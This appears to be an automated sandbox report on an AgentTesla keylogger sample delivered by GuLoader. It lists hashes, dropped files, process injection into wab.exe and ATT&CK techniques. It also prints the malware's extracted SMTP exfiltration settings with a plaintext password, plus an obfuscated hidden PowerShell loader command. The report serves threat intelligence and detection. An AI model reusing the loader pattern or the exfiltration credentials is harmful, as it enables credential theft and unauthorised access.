agenttesla | 00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3

General

Target

00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe
Size

838KB
MD5

3487fcccd1544dbabaa2144ab6d5807a
SHA1

ac8d5d7724691faae52f3ab84b42732577b9f7eb
SHA256

00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3
SHA512

407ee5a94db98c03e8df9fd25f4caa4b70eb8d279b136cb8f65372065f6468a785880f9245c67e385017b0835c7c97f0f5eb248a48e7d887c0824181af5c0757
SSDEEP

12288:5nPdE2I8+NVtZJ4wCI6fndjQ079Y3d5p5mw9:lPdE2j2tZOfaE+Xp3

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
cp8nl.hyperhost.ua
Port:
587
Username:
[email protected]
Password:
7213575aceACE@#$
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

3 drive.google.com
4 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2664 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2832 powershell.exe
2664 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2832 set thread context of 2664 2832 powershell.exe wab.exe

flow	ioc
3	drive.google.com
4	drive.google.com

pid	process
2664	wab.exe

description	pid	process	target process
PID 2832 set thread context of 2664	2832	powershell.exe	wab.exe

Drops file in Program Files directory 1 IoCs

Processes:

00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Common Files\Mbenede184\sparple.Bnd22	00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe

Drops file in Windows directory 1 IoCs

Processes:

00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe

description	ioc	process
File opened for modification	C:\Windows\Stainlessly\Retlinedes.jag	00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exewab.exe

pid	process
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
2664	wab.exe
2664	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2832 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2832 powershell.exe
Token: SeDebugPrivilege 2664 wab.exe

description	pid	process
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	2664	wab.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exepowershell.exe

description	pid	process	target process
PID 2344 wrote to memory of 2832	2344	00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe	powershell.exe
PID 2344 wrote to memory of 2832	2344	00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe	powershell.exe
PID 2344 wrote to memory of 2832	2344	00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe	powershell.exe
PID 2344 wrote to memory of 2832	2344	00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe	powershell.exe
PID 2832 wrote to memory of 2516	2832	powershell.exe	cmd.exe
PID 2832 wrote to memory of 2516	2832	powershell.exe	cmd.exe
PID 2832 wrote to memory of 2516	2832	powershell.exe	cmd.exe
PID 2832 wrote to memory of 2516	2832	powershell.exe	cmd.exe
PID 2832 wrote to memory of 2664	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 2664	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 2664	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 2664	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 2664	2832	powershell.exe	wab.exe
PID 2832 wrote to memory of 2664	2832	powershell.exe	wab.exe

C:\Users\Admin\AppData\Local\Temp\00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe
"C:\Users\Admin\AppData\Local\Temp\00db117ca052e69bb2cde67e8fafab75c786c5f064a43537a4cbfcd6a2366ca3.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Ettled=Get-Content 'C:\Users\Admin\AppData\Local\indenrigsministeren\fortepianoer\demoralismrr\Pyrograph\Perikoner\Intermeasuring199\Skibshandlernes.Ove218';$glansrollen=$Ettled.SubString(20367,3);.$glansrollen($Ettled)"
2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2832

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
3⤵
PID:2516

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\indenrigsministeren\fortepianoer\demoralismrr\Pyrograph\Perikoner\Intermeasuring199\Gusting.Van

Filesize
312KB

MD5
a7cab46a4e5fef5e54b62991146ac55e

SHA1
5edbaf546783cabbc1925720dd173c94d239e670

SHA256
deeefe5b493c1c1e3de5d3102e81be4571b50cf583439e0688dac308104eefbb

SHA512
67cb25ea7ccab21f223e44e7bad5ced5d2af4d17f58e4474537055f9c613db19cda1251990c5e52b3d507bfca163d42c246a8028225f89b3ab2053ba24a57b50

Download Submit
C:\Users\Admin\AppData\Local\indenrigsministeren\fortepianoer\demoralismrr\Pyrograph\Perikoner\Intermeasuring199\Skibshandlernes.Ove218

Filesize
58KB

MD5
161d266563cfa870571bd2a76a200777

SHA1
4dad793c0fc2ff315bd201e80cf414864bea5409

SHA256
33095bc104b3928f5a857d2572be6afe3b9890ae110cd9aaf52ceb6a29e943fd

SHA512
430418fa2d550afd8f616420020c1c3d452488d45ba0d0d1b1a296ecc21eca816810872adce077612f12f88a1130c111560cba48b6286f06fb9ac6305729980a

Download Submit
memory/2664-27-0x0000000077766000-0x0000000077767000-memory.dmp

Filesize
4KB

Download
memory/2664-23-0x0000000001B90000-0x0000000003EB5000-memory.dmp

Filesize
35.1MB

Download
memory/2664-75-0x000000006F0A0000-0x000000006F78E000-memory.dmp

Filesize
6.9MB

Download
memory/2664-72-0x0000000001B90000-0x0000000003EB5000-memory.dmp

Filesize
35.1MB

Download
memory/2664-71-0x000000006F0A0000-0x000000006F78E000-memory.dmp

Filesize
6.9MB

Download
memory/2664-70-0x0000000000B20000-0x0000000000B60000-memory.dmp

Filesize
256KB

Download
memory/2664-67-0x0000000000B20000-0x0000000001B82000-memory.dmp

Filesize
16.4MB

Download
memory/2664-26-0x0000000077730000-0x0000000077806000-memory.dmp

Filesize
856KB

Download
memory/2664-24-0x0000000077540000-0x00000000776E9000-memory.dmp

Filesize
1.7MB

Download
memory/2832-18-0x0000000006830000-0x0000000008B55000-memory.dmp

Filesize
35.1MB

Download
memory/2832-9-0x0000000002830000-0x0000000002870000-memory.dmp

Filesize
256KB

Download
memory/2832-21-0x0000000077730000-0x0000000077806000-memory.dmp

Filesize
856KB

Download
memory/2832-20-0x0000000073DD0000-0x000000007437B000-memory.dmp

Filesize
5.7MB

Download
memory/2832-19-0x0000000077540000-0x00000000776E9000-memory.dmp

Filesize
1.7MB

Download
memory/2832-25-0x0000000006830000-0x0000000008B55000-memory.dmp

Filesize
35.1MB

Download
memory/2832-8-0x0000000073DD0000-0x000000007437B000-memory.dmp

Filesize
5.7MB

Download
memory/2832-22-0x0000000002830000-0x0000000002870000-memory.dmp

Filesize
256KB

Download
memory/2832-11-0x0000000002830000-0x0000000002870000-memory.dmp

Filesize
256KB

Download
memory/2832-69-0x0000000006830000-0x0000000008B55000-memory.dmp

Filesize
35.1MB

Download
memory/2832-17-0x0000000006830000-0x0000000008B55000-memory.dmp

Filesize
35.1MB

Download
memory/2832-16-0x0000000005620000-0x0000000005624000-memory.dmp

Filesize
16KB

Download
memory/2832-10-0x0000000073DD0000-0x000000007437B000-memory.dmp

Filesize
5.7MB

Download
memory/2832-14-0x0000000002830000-0x0000000002870000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads